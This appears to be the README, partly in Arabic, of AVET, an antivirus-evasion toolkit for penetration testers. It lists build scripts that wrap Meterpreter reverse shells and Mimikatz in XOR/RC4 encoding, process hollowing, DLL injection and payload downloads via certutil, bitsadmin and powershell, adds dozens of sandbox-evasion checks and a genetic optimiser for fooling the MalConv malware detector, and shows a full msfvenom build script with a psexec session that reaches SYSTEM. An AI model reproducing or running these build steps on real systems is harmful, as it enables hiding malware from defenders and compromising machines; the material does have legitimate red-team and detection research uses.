
أداة التهرب من برامج مكافحة الفيروسات
AVET هي أداة تجاوز مضادات الفيروسات، تم تطويرها لتسهيل حياة مختبري الاختراق والتجربة مع تقنيات تجاوز مضادات الفيروسات، بالإضافة إلى الأساليب الأخرى التي تستخدمها البرمجيات الخبيثة. للحصول على نظرة عامة على الميزات الجديدة في v2.4، بالإضافة إلى إصدارات الإصدارات السابقة، ألق نظرة على ملف CHANGELOG.
ليست كل التقنيات ستتجاوز كل محرك مكافحة فيروسات. إذا لم تعمل تقنية أو نص بناء واحد، يرجى اختبار تقنية أخرى. لا تتردد في التجربة! بعد كل شيء، هذه مجموعة أدوات - لكن ينبغي عليك استخدام المطرقة بنفسك.
تنطبق تعليمات التثبيت على Kali 64bit و tdm-gcc!
يمكنك استخدام script الإعداد:```bash ./setup.sh
This should automatically get you started by installing/configuring wine and installing tdm-gcc.
You'll shortly have to click through the tdm-gcc installer GUI though - standard settings should be fine.
The script will also ask if you want to install AVET's dependencies, which are needed to use some of the build scripts. The fetched dependencies will be put into separate folders next to the avet folder.
Dependencies will grab the latest releases of:
- [pe_to_shellcode](https://github.com/hasherezade/pe_to_shellcode)
- [mimikatz](https://github.com/gentilkiwi/mimikatz)
- [DKMC](https://github.com/Mr-Un1k0d3r/DKMC)
If for whatever reason you want to install wine and tdm-gcc manually:
- [How to install tdm-gcc with wine](https://govolution.wordpress.com/2017/02/04/using-tdm-gcc-with-kali-2/)
## Docker
If you are not using Kali or don't want to install Metasploit on your system, you can use the Docker Container instead.
The container encapsulates Metasploit and avet and the samples will be created in your current directory.
It is also possible to use an graphical text editor like gedit.
Building the container:```bash
sudo docker build -t avet:v0.1 .
الاستخدام:```bash sudo docker run -it --net=host --env="DISPLAY" --volume="$HOME/.Xauthority:/root/.Xauthority:rw" -v $(pwd):/tools/avet/output avet:v0.1 /bin/bash
للحصول على تجربة أفضل، يُوصى بإنشاء alias لهذا.```bash
# In your .bash_profile, .bashrc or .bash_aliases
alias avet='sudo docker run -it --net=host --env="DISPLAY" --volume="$HOME/.Xauthority:/root/.Xauthority:rw" -v $(pwd):/tools/avet/output avet /bin/bash'
avet.py هي أداة بسيطة بلغة Python صُممت لمساعدتك في استخدام هذه الأداة.
تقوم بعرض كل السكريبتات الموجودة حالياً في مجلد البناء (build). بعد اختيار واحد، ستتمكن من التقدم خلال السكريبت سطراً سطراً، مع إمكانية تعديل المحتوى أثناء العمل.
الأمر الأخير مفيد بشكل خاص حيث يمكنك تعريف متغيرات LHOST و LPORT جديدة لـ msfvenom في كل مرة تقوم فيها بتشغيل سكريبت بناء عبر fabric.
يمكنك تعريف قيم افتراضية لـ LHOST و LPORT في ملف /build/global_connect_config.sh، والتي تُستخدم إذا لم تقم بإعادة تعريفها.
هذه التعديلات مؤقتة، مما يعني أن أي تغييرات قمت بها لن تستمر في سكريبت البناء على القرص. يتم تنفيذ النسخة المعدلة مرة واحدة، ويتم بناء الملف التنفيذي الخاص بك.
.| , +
* | | (( *
|'| ` ._____
+ ___ | | * |. |' .---"|
_ .-' '-. | | .--'| || | _| |
.-'| _.| | || '-__ | | | || |
|' | |. | || | | | | || |
| '-' ' "" '-' '-.' '` |_ jgs~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Welcome to the avet Assistant!
0 : build_40xshikata_revhttpsunstaged_win32.sh 1 : build_50xshikata_quiet_revhttps_win32.sh 2 : build_50xshikata_revhttps_win32.sh 3 : build_asciimsf_fromcmd_revhttps_win32.sh 4 : build_asciimsf_revhttps_win32.sh 5 : build_avetenc_dynamicfromfile_revhttps_win32.sh 6 : build_avetenc_fopen_revhttps_win32.sh 7 : build_avetenc_mtrprtrxor_revhttps_win64.sh 8 : build_calcfromcmd_50xshikata_revhttps_win32.sh 9 : build_calcfrompowersh_50xshikata_revhttps_win32.sh 10 : build_checkdomain_rc4_mimikatz.sh 11 : build_cpucores_revhttps_win32.sh 12 : build_disablewindefpsh_xorfromcmd_revhttps_win64.sh 13 : build_dkmc_downloadexecshc_revhttps_win32.sh 14 : build_downloadbitsadmin_mtrprtrxor_revhttps_win64.sh 15 : build_downloadbitsadmin_revhttps_win32.sh 16 : build_downloadcertutil_revhttps_win32.sh 17 : build_downloadcurl_mtrprtrxor_revhttps_win64.sh 18 : build_downloadiexplorer_revhttps_win32.sh 19 : build_downloadpsh_revhttps_win32.sh 20 : build_downloadsocket_mtrprtrxor_revhttps_win64.sh 21 : build_downloadsocket_revhttps_win32.sh 22 : build_dynamicfromfile_revhttps_win32.sh 23 : build_fibonacci_rc4_mimikatz.sh 24 : build_fopen_mtrprtrxor_revhttps_win64.sh 25 : build_fopen_quiet_revhttps_win32.sh 26 : build_fopen_revhttps_win32.sh 27 : build_getchar_rc4_mimikatz.sh 28 : build_gethostbyname_revhttps_win32.sh 29 : build_hasvmkey_revhttps_win32.sh 30 : build_hasvmmac_revtcp_win32.sh 31 : build_hollowing_targetfromcmd_doubleenc_doubleev_revhttps_win64.sh 32 : build_hollowing_targetfromcmd_doubleenc_doubleev_revtcp_win32.sh 33 : build_injectdll_targetfromcmd_execcalc_downloadpsh_fopen_gethostbyname_win32.sh 34 : build_injectdll_targetfromcmd_execcalc_downloadpsh_fopen_gethostbyname_win64.sh 35 : build_injectshc_targetfromcmd_fopen_gethostbyname_xor_revhttps_win64.sh 36 : build_injectshc_targetfromcmd_fopen_gethostbyname_xor_revtcp_win32.sh 37 : build_kaspersky_fopen_shellrevtcp_win32.sh 38 : build_mimikatz_pe2shc_xorfromcmd_win64.sh 39 : build_pause_rc4_mimikatz.sh 40 : build_rc4_interactive_pwsh_mimikatz_win64.sh 41 : build_rc4_interactive_with_arithmetic_pwsh_mimikatz_win64.sh 42 : build_rc4enc_mimikatz_win64.sh 43 : build_sleep_rc4_mimikatz.sh 44 : build_sleepbyping_rc4_mimikatz.sh 45 : build_timedfibonacci_rc4_mimikatz.sh 46 : buildsvc_20xshikata_bindtcp_win32.sh
Which Script would you like to configure and build? Enter the corresponding number -> 43
DESCRIPTION :
Configure the Build Script
-> enable_debug_print
-> generate_key preset aabbccdd1122
Do you want to add sandbox evasions? [y/N] -> N
Executable will be created Shortly please wait.
*** ============================================= ***
.==,_
.===,_`\\
.====,_ ` \\ .====,__
--- .==-,~. \\ :.__, --- ~~=-. \ /^^^ MEEP MEEP
--- ~~=. \\ / ~. \ /
~. \____./
`.=====)
_.--~~~--.
__\.--~~~ ~~~---..|/
~~~\" /
|\ __ |\ \ / /|\ \ |_ \
\ \ |\ \ \ \ / / | \ _ |__|\ _|
\ \ __ \ \ / / / \ \ \ \ \ \
\ \ \ \ \ \ / / \ \ _ \ \ \
\ _\ _\ _/ / \ _\ \ __
||||||/ |___| ||
*** ============================================= ***
Reading module from: input/mimikatz.exe [WARNING] This is a console application! The recommended subsystem is GUI. [+] Saved as: input/sc_raw.txt Starting RC4 encoder... Reading payload from file input/sc_raw.txt, expecting raw format. payload size in bytes is 1309884 Reading key from file input/key_raw.txt, expecting raw format. Key length in bytes is 6 Applying RC4 algorithm Writing payload to file input/sc_enc_raw.txt
Your executable should be in the output folder!
</details>
## AVET بالطريقة العادية
بالطبع، من الممكن تشغيل جميع الأوامر خطوة بخطوة من سطر الأوامر. ومع ذلك، في مجلد "build" ستجد نصوص بناء (build scripts) مهيأة مسبقًا لحالات الاستخدام ذات الصلة.
نصوص البناء نفسها مكتوبة بحيث يجب استدعاؤها من داخل مجلد avet:```bash
kali@kali:~/tools/avet$ ./build/build_fopen_mtrprtrxor_revhttps_win64.sh
يمكنك تحديد قيم افتراضية لـ LHOST و LPORT لحمولات metasploit في ملف /build/global_connect_config.sh، والتي تُستخدم إذا لم تقم بإعادة تعريفها.
قم بإنشاء ملف تنفيذي لتجويف العمليات (process hollowing) 32 بت في خطوتين (كما في build_hollowing_targetfromcmd_doubleenc_doubleev_revhttps_win32.sh):
أولاً، قم بإنشاء حمولة التجويف باستخدام AVET:
ثانيًا، قم ببناء الملف التنفيذي "الموزع" (dropper) الذي يسلم حمولة الخطوة الأولى عبر التجويف:
وبهذا تحصل على حمولة meterpreter مشفرة ومختبرة بيئيًا من طبقتين، مجوفة في عملية من اختيارك. على الرغم من أن الإعدادات في سكريبت البناء هي لأغراض العرض التوضيحي في الغالب، إلا أن هناك مرونة كبيرة لتخصيص الملف التنفيذي الناتج عن طريق إجراء تعديلات بسيطة على سكريبت البناء.
يمكنك تبديل طرق استرجاع البيانات: بدلاً من تجميع معظم البيانات بشكل ثابت داخل الملف التنفيذي، يمكنك تنزيل حمولة التجويف الخاصة بك عبر powershell، أو تنزيل مفتاح فك التشفير عبر sockets، أو استخدام تشفير مختلف أو فحوصات بيئية، إلخ.
أو حاول إضافة طبقات إضافية من التهرب من خلال تكرار بناء ثالث. أو استبدل الحمولة. هل تريد استخدام Mimikatz بدلاً من ذلك؟ قم بتحويلها إلى شيلكود عبر https://github.com/hasherezade/pe_to_shellcode، وقم بتغيير الحمولة في سكريبت البناء.
بالطبع، يمكنك أيضًا تصميم بنى أكثر بساطة، مثل تنفيذ شيلكود غير مشفر مع فحص بيئي واحد فقط، أو ربما 50 تكرارًا من shikata كافية لتحقيق هدفك؟ اختر/عدّل سكريبتات البناء بما يناسب احتياجاتك.
أدناه، ستجد قائمة بجميع سكريبتات البناء المرفقة حاليًا. يجب أن توحي الأسماء بوظيفة كل سكريبت. للحصول على معلومات مفصلة، يُرجى مراجعة التعليقات داخل السكريبتات. لا تتردد في تعديل/كتابة سكريبتات البناء الخاصة بك لبناء ملفك التنفيذي المخصص!
هذه الطرق متوافقة مع جميع مصادر بيانات AVET ويمكن استخدامها كما هي في سكريبت البناء.
بعض الأمثلة:```
set_command_source static_from_here 'calc.exe' set_command_exec exec_via_cmd
set_payload_source download_powershell set_payload_execution_method exec_shellcode64
set_key_source download_socket set_decoder xor
set_payload_info_source from_command_line_raw set_payload_execution_method inject_dll
إذا تم تخطي/عدم استخدام الميزات، يجب عليك تحديد سلوك مشابه لـ NOP بدلاً من ذلك:```
set_command_source no_data
set_command_exec no_command
يتم استرداد البيانات من ملف ويتم تجميعها بشكل ثابت في الملف التنفيذي المُنشأ. لكي يعمل هذا، يجب توفير البيانات كمصفوفة بأسلوب C في وقت التجميع، مثل``` unsigned char buf[] = "\x00\x11\x22\x33";
#### static_from_here
يتم تجميع البيانات بشكل ثابت في الملف التنفيذي المُنشأ،
يتم استرجاعها من الوسيطة المحددة في سكريبت البناء.
#### dynamic_from_file
تُقرأ البيانات من ملف في وقت التشغيل.
#### from_command_line_hex
يسترجع البيانات من سلسلة سداسية عشرية بتنسيق "11aabb22.." (من سطر الأوامر).
#### from_command_line_raw
يسترجع البيانات من وسيطة سطر أوامر. يتم تفسير السلسلة النصية ASCII المُعطاة كبيانات بايت خام.
#### download_certutil
يقوم بتنزيل البيانات من URI محدد، باستخدام ```certutil.exe -urlcache -split -f```.
يُسقط الملف الذي تم تنزيله على القرص قبل قراءة البيانات.
#### download_curl
يقوم بتنزيل البيانات باستخدام curl.
يُسقط الملف الذي تم تنزيله على القرص قبل قراءة البيانات.
#### download_internet_explorer
يقوم بتنزيل البيانات من URL محدد، باستخدام Internet Explorer.
يُسقط الملف الذي تم تنزيله على القرص قبل قراءة البيانات.
#### download_powershell
يقوم بتنزيل البيانات من URI محدد عبر powershell.
يُسقط الملف الذي تم تنزيله على القرص قبل قراءة البيانات.
#### download_socket
يقوم بتنزيل البيانات من URI محدد، باستخدام المقابس (sockets).
تُقرأ البيانات مباشرة في الذاكرة، ولا يتم إسقاط ملف على القرص.
#### download_bitsadmin
يقوم بتنزيل البيانات باستخدام الأداة المساعدة BITSAdmin لنظام Windows.
يُسقط الملف الذي تم تنزيله على القرص قبل قراءة البيانات.
### طرق تنفيذ الحمولة (Payload execution methods)
كيفية تنفيذ/توصيل الحمولة. تتطلب طرق الحقن/التجوف (injection/hollowing) معلومات إضافية حول الهدف، والتي يمكن تقديمها عبر ```set_payload_info_source <the_info>``` (انظر طرق استرجاع البيانات).
#### exec_shellcode
ينفذ كود شيل (shellcode) 32 بت باستخدام ربط دالة C.
#### exec_shellcode64
ينفذ كود شيل 64 بت باستخدام ربط دالة C و VirtualProtect.
#### exec_shellcode_ASCIIMSF
ينفذ كود شيل مشفر بتشفير ASCIIMSF عبر ```call eax```.
#### hollowing32
ينشئ عملية جديدة، يقطع الصورة الأصلية ويجوف الحمولة المُعطاة في العملية الجديدة.
الحمولة هي صورة قابلة للتنفيذ 32 بت. يعمل على الأهداف 32 بت.
#### hollowing64
نفس hollowing32، لكن باستخدام حمولات PE 64 بت للأهداف 64 بت.
#### inject_dll
يحقن مكتبة dll في عملية هدف، باستخدام ```CreateRemoteThread```.
يعمل الحقن لحمولات 32 بت في عمليات 32 بت، وحمولات 64 بت في عمليات 64 بت، على التوالي.
#### inject_shellcode
يحقن كود شيل في عملية هدف، باستخدام ```CreateRemoteThread```.
يعمل الحقن لكود شيل 32 بت في عمليات 32 بت، وكود شيل 64 بت في عمليات 64 بت، على التوالي.
### التشفير والترميز
يوفر AVET مشفرات لكل مخطط، يمكن تطبيقها على الحمولة قبل التجميع/التوصيل.
عند التنفيذ، يقوم المفكك المحدد بعد ذلك بإزالة التعتيم عن الحمولة في وقت التشغيل.
فيما يلي مثال على RC4، حيث يتم استرجاع مفتاح فك التشفير من سطر الأوامر بتنسيق سداسي عشري في وقت التنفيذ:```
generate_key preset aabbccddee input/key_raw.txt
encode_payload rc4 input/shellcode_raw.txt input/shellcode_enc_raw.txt input/key_raw.txt
set_key_source from_command_line_hex
set_decoder rc4
يمكنك أيضًا تخطي ميزة الترميز بعدم ترميز shellcode بشكل إضافي، وتعيين:``` set_key_source no_data set_decoder none
#### xor
XOR المتداول، يدعم مفاتيح متعددة البايت.
#### avet
ترميز مخصص، إعادة تفسير تنسيق ASCII.
#### rc4
تشفير/فك تشفير RC4، مع طول مفتاح مرن.
### تجنب المصحح وصندوق الرمل
هذه هي فحوصات بيئية تُجرى قبل الترميز النهائي وتنفيذ الحمولة. إذا تم اكتشاف بيئة تنفيذ غير مرغوب فيها (مثل صندوق رمل لمكافحة الفيروسات)، يتوقف التنفيذ.
حاليًا، يمكنك وضع ما يصل إلى 10 فحوصات بشكل عشوائي. يُدعم استخدام نفس التقنية عدة مرات. يمكن تعديل حد الطابور *EVASION_ARRAY_SIZE* بسهولة في *avet.c*.
#### التحقق من وجود المصحح
التحقق باستخدام دالة isDebuggerPresent() من وجود مصحح. الخروج إذا كان موجودًا.```
add_evasion is_debugger_present
انتظر لمدة معينة قبل التنفيذ. يمكن تحديد المدة(بالثواني) في سكريبت البناء، مثل```
add_evasion evasion_by_sleep 3
#### النوم باستخدام ping
إيقاف تنفيذ البرنامج لعدد محدد من الثواني عن طريق استدعاء أمر ping بفاصل زمني ضد localhost.
يقوم البرنامج بإرسال ping مرة واحدة كل ثانية.```
add_evasion sleep_by_ping 4
تحقق مما إذا كان الصندوق الرملي يستخدم التقديم السريع لتقليل وقت الفحص الاستدلالي. يتم استخدام الوقت المحلي والنوم.``` add_evasion check_fast_forwarding
#### get tickcount
تحقق مما إذا كان الصندوق الرملي يستخدم التسريع السريع لتقليل وقت الفحص الإرشادي. يتم استخدام وقت التشغيل والسكون.```
add_evasion get_tickcount
احصل على اسم المستخدم وقارنه باسم المستخدم المعطى. اخرج إذا لم يتطابق.``` add_evasion has_username 'IEUser'
#### Messagebox
قم بإنشاء Messagebox بسيط قبل التنفيذ. إذا لم يتم حل المسألة الحسابية بشكل صحيح، يخرج البرنامج.```
add_evasion interaction_msg_box
انتظر حتى يتم تسليم الإدخال باستخدام getchar.``` add_evasion interaction_getchar
#### system pause
تنفيذ system("pause")، مما يؤدي إلى انتظار cmd المستنسخ (وعمليةنا الرئيسية) لأي ضغطة مفتاح.```
add_evasion interaction_system_pause
يتحقق من وجود ملف. إذا لم يتم العثور عليه، يتم إيقاف التنفيذ. يمكن تحديد اسم الملف في سكربت البناء، مثل``` add_evasion fopen_sandbox_evasion 'c:\windows\system.ini'
#### معلومات BIOS
يتحقق مما إذا كان من الممكن جلب جدول البرامج الثابتة SMBIOS. إيقاف التنفيذ إذا لم يكن كذلك.```
add_evasion get_bios_info
حاول حل اسم مضيف من اختيارك. إذا أعادت gethostbyname قيمة غير مساوية لـ NULL، أوقف التنفيذ. يمكن تحديد اسم المضيف المراد التحقق منه في سكريبت البناء، مثل``` add_evasion gethostbyname_sandbox_evasion 'testdomain.com'
#### get_cpu_cores
يتحقق من عدد أنوية المعالجة على الهدف. إذا كان العدد أقل من القيمة المحددة، يتم إيقاف التنفيذ.```
add_evasion get_cpu_cores 2
يتحقق من بادئات MAC الخاصة بالبائع. إذا تم التعرف على أي منها، أوقف التنفيذ.``` add_evasion has_vm_mac
#### has_vm_regkey
تفحص مفاتيح التسجيل الخاصة بالبائعين. إذا تم التعرف على أي منها، توقف التنفيذ.```
add_evasion has_vm_regkey
ليست تقنية تهرب حقيقية، ولكنها تخفي نافذة وحدة التحكم الخاصة بك ;)``` add_evasion hide_console
#### تاريخ التثبيت
جلب تاريخ تثبيت ويندوز ومقارنته بالتاريخ المحدد. إذا لم تتطابق التواريخ، أوقف التنفيذ. يجب تحديد التاريخ بصيغة dd/mm/yyyy.```
add_evasion get_install_date '24/11/2007'
قم بعد عدد العمليات الجارية. إذا كان عدد العمليات أقل من الحد المحدد، أوقف التنفيذ.``` add_evasion get_num_processes 50
#### Standard Browser
اقرأ مفتاح التسجيل للحصول على المتصفح الافتراضي. إذا لم يتطابق المتصفح مع القيمة المعطاة، قم بإيقاف التنفيذ. القيم الممكنة هي MSEdgeHTM أو Firefox أو ChromeHTML.```
add_evasion get_standard_browser 'Firefox'
يستعلم عن نطاق DNS الذي يوجد فيه الهدف. إذا لم يكن الهدف في النطاق المتوقع كما هو محدد، يخرج البرنامج.``` add_evasion get_computer_domain 'domain.com'
#### الحساب
Fibonacci
احسب التكرارات المحددة من متتالية فيبوناتشي.
من المحتمل أن ينتج نتائج غير صحيحة لقيم n الأكبر بسبب حدود الأعداد الصحيحة.```
# 10 iterations
add_evasion computation_fibonacci 10
فيبوناتشي الموقوت
يوقف حسابات فيبوناتشي بعد حوالي الثواني المحددة.```
add_evasion computation_timed_fibonacci 20
#### المجلدات والمزيد
تحقق من وجود Artifact، أوقف التنفيذ إذا لم يكن موجودًا. يجب أن تكون المسارات بنظام يونكس.
خلفية سطح المكتب:```
add_evasion has_background_wp
تحقق من وجود المجلد:``` add_evasion has_folder 'C:/Users/user/Downloads/'
التحقق من سطح المكتب العام:```
add_evasion has_public_desktop
التحقق من سلة المحذوفات``` add_evasion has_recycle_bin
التحقق من مجلد الملفات الحديثة```
add_evasion has_recent_files
التحقق من محرك أقراص الشبكة``` add_evasion has_network_drive
### تنفيذ أوامر إضافية
يمنحك القدرة على تنفيذ حمولة cmd/powershell إضافية مباشرة بعد وظائف تجنب الصندوق الرملي المحتملة.
مصدر الحمولة متوافق مع طرق استرجاع البيانات الخاصة بـ AVET.
المثال التالي يقوم بتحميل حمولة powershell عبر BITSAdmin:```
set_command_source download_bitsadmin
set_command_exec exec_via_powershell
يأخذ بيانات خام كمدخل من ملف، ويحولها إلى تنسيق مصفوفة C، ويكتب المخرجات إلى ملف آخر. يساعد ذلك في توفير التنسيق الصحيح لطريقة استرجاع البيانات static_from_file.
أداة توليد المفاتيح. تولد إما مفتاحًا عشوائيًا (غير آمن تشفيريًا) أو تأخذ مفتاحًا محددًا كمدخل، وتخرج بيانات المفتاح الخام إلى ملف محدد. يساعد ذلك في توفير مادة المفتاح لميزة التشفير في AVET.
أداة من AVET 1.3 تقوم بتشفير AVET.
AVET متوافق مع وحدة psexec الخاصة بـ metasploit. لذلك، يجب تجميع الملف القابل للتنفيذ الذي تم إنشاؤه كخدمة ويندوز، وهو ما يتم تنفيذه باستخدام avetsvc.c. انظر إلى سكريبت البناء النموذجي المقابل
build_svc_20xshikata_bindtcp_win32.sh:``` #!/bin/bash
cat banner.txt
. build/global_win32.sh
. build/global_connect_config.sh
LPORT=$GLOBAL_LPORT
msfvenom -p windows/meterpreter/bind_tcp lport=$LPORT -e x86/shikata_ga_nai -i 20 -f raw -a x86 --platform Windows > input/sc_raw.txt
. build/feature_construction.sh
add_evasion fopen_sandbox_evasion 'c:\windows\system.ini' add_evasion gethostbyname_sandbox_evasion 'this.that'
generate_key preset aabbcc12de input/key_raw.txt
encode_payload xor input/sc_raw.txt input/scenc_raw.txt input/key_raw.txt
./tools/data_raw_to_c/data_raw_to_c input/scenc_raw.txt input/scenc_c.txt buf
set_command_source no_data set_command_exec no_command
set_payload_source static_from_file input/scenc_c.txt
./tools/data_raw_to_c/data_raw_to_c input/key_raw.txt input/key_c.txt key
set_key_source static_from_file input/key_c.txt
set_payload_info_source no_data
set_decoder xor
set_payload_execution_method exec_shellcode
enable_debug_print to_file C:/avetdbg.txt
$win32_compiler -o output/service.exe source/avetsvc.c -lws2_32 strip output/service.exe
cleanup_techniques
وعلى جانب metasploit:```
msf exploit(psexec) > use exploit/windows/smb/psexec
msf exploit(psexec) > set EXE::custom /root/tools/ave/pwn.exe
EXE::custom => /root/tools/ave/pwn.exe
msf exploit(psexec) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf exploit(psexec) > set rhost 192.168.116.183
rhost => 192.168.116.183
msf exploit(psexec) > set smbuser dax
smbuser => dax
msf exploit(psexec) > set smbpass test123
smbpass => test123
msf exploit(psexec) > set lport 8443
lport => 8443
msf exploit(psexec) > run
[*] 192.168.116.183:445 - Connecting to the server...
[*] Started bind handler
[*] 192.168.116.183:445 - Authenticating to 192.168.116.183:445 as user 'dax'...
[*] Sending stage (957487 bytes) to 192.168.116.183
[*] 192.168.116.183:445 - Selecting native target
[*] 192.168.116.183:445 - Uploading payload...
[*] 192.168.116.183:445 - Using custom payload /root/tools/avepoc/a.exe, RHOST and RPORT settings will be ignored!
[*] 192.168.116.183:445 - Created \mzrCIOVg.exe...
[+] 192.168.116.183:445 - Service started successfully...
[*] 192.168.116.183:445 - Deleting \mzrCIOVg.exe...
[-] 192.168.116.183:445 - Delete of \mzrCIOVg.exe failed: The server responded with error: STATUS_CANNOT_DELETE (Command=6 WordCount=0)
[*] Exploit completed, but no session was created.
msf exploit(psexec) > [*] Meterpreter session 4 opened (192.168.116.142:33453 -> 192.168.116.183:8443) at 2017-05-27 18:47:23 +0200
msf exploit(psexec) > sessions
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
4 meterpreter x86/windows NT-AUTORIT_T\SYSTEM @ DAX-RYMZ48Z3EYO 192.168.116.142:33453 -> 192.168.116.183:8443 (192.168.116.183)
msf exploit(psexec) > sessions -i 4
[*] Starting interaction with 4...
meterpreter > sysinfo
Computer : DAX-RYMZ48Z3EYO
OS : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : de_DE
Domain : ARBEITSGRUPPE
Logged On Users : 2
Meterpreter : x86/windows
أمثلة الخصومة هي مدخلات مصممة خصيصًا بهدف دفع نماذج التعلم الآلي إلى سوء التصنيف.
لاستخدام هذه الطريقة، يُرجى إنشاء بيئة افتراضية وتثبيت التبعيات المطلوبة من requirements.txt.
هناك خمسة تلاعبات تحافظ على الوظائف لملفات PE متاحة:

لتطبيق التلاعب العملي على البرنامج الضار مع إدخال وحدات بايت عشوائية، استخدم الأمر gen_adversarial_exe متبوعًا باسم التلاعب العملي ومسار الملف كمعلمات.
التلاعبات المتاحة هي full_dos و extend و shift و padding و section_injection.
على سبيل المثال:```sh gen_adversarial_exe section_injection output/rc4enc_mimikatz_adversarial_win64.exe
### التحسين الجيني
بدلاً من حقن محتوى عشوائي، يمكن تحسين المحتوى لتحقيق احتمالية أعلى للتهرب.
يقوم المحسّن باستخراج الأقسام غير الضارة من البرامج الجيدة ويستخدم خوارزمية جينية لتحسين المحتوى المحقون.
يتم تحسين المحتوى ضد MalConv، وهو كاشف ثابت يعتمد على التعلم الآلي مبني على شبكة عصبية التفافية.
تطبيق MalConv المستخدم مأخوذ من مكتبة [SecML Malware](https://github.com/pralab/secml_malware).
البرامج الجيدة مطلوبة ويجب وضعها في مجلد `input/goodware_samples`.
على سبيل المثال، [DikeDataset](https://github.com/iosifache/DikeDataset) هو مصدر جيد للحصول على ملفات تنفيذية غير ضارة. كلما زاد العدد كان أفضل، لكن 100 كافية لأغراض الاختبار.
لاستخدام المحسّن، استخدم الأمر `$genetic_optimizer`:```sh
$genetic_optimizer -pm $practical_manipulation -p $population_size output/rc4enc_mimikatz_adversarial_win64.exe
الخيارات الممكنة:``` -p, --population_size, default=50 -e, --elitsm, default=10 -i, --iteration, default=10 -pr, --penalty_regularizer, default=1e-6 -ss, --section_size, default=10 -pm, --practical_manipulation, default=section_injection
يمكن قراءة المزيد عن الأمثلة العدائية، والتحسين الجيني، وMalConv هنا:
- [أمثلة عدائية EXEmples: مسح وتقييم تجريبي للهجمات العملية على التعلم الآلي لكشف برمجيات Windows الخبيثة](https://arxiv.org/abs/2008.07125)
- [تحسين الصندوق الأسود مع الحفاظ على الوظائف لبرمجيات Windows الخبيثة العدائية](https://arxiv.org/abs/2003.13526)
- [كشف البرمجيات الخبيثة بأكل ملف EXE كامل](https://arxiv.org/abs/1710.09435)
## المزيد
---
للأساسيات حول تجاوز مضادات الفيروسات، AVET والمزيد من المعلومات، ألق نظرة هنا (معظمها للإصدار 1.3):
- [https://govolution.wordpress.com/2018/08/07/paper-avet-blackhat-usa-arsenal-2018/](https://govolution.wordpress.com/2018/08/07/paper-avet-blackhat-usa-arsenal-2018/)
- [https://govolution.wordpress.com/2017/06/11/avet-video/](https://govolution.wordpress.com/2017/06/11/avet-video/)
- [https://govolutionde.files.wordpress.com/2014/05/avevasion_pentestmag.pdf](https://govolutionde.files.wordpress.com/2014/05/avevasion_pentestmag.pdf)
- [https://deepsec.net/docs/Slides/2014/Why_Antivirus_Fails_-_Daniel_Sauder.pdf](https://deepsec.net/docs/Slides/2014/Why_Antivirus_Fails_-_Daniel_Sauder.pdf)
- [https://twitter.com/DanielX4v3r](https://twitter.com/DanielX4v3r)
- [https://github.com/govolution/avetosx](https://github.com/govolution/avetosx)
- [https://github.com/tacticaljmp](https://github.com/tacticaljmp)
- [https://github.com/Mr-Un1k0d3r/DKMC](https://github.com/Mr-Un1k0d3r/DKMC)
- [https://github.com/m0n0ph1/Basic-File-Crypter](https://github.com/m0n0ph1/Basic-File-Crypter)
- [https://github.com/hasherezade/pe_to_shellcode](https://github.com/hasherezade/pe_to_shellcode)
- [https://github.com/hasherezade/demos/](https://github.com/hasherezade/demos/)
- [https://github.com/a0rtega/pafish](https://github.com/a0rtega/pafish)
- [https://danielsauder.com](https://danielsauder.com)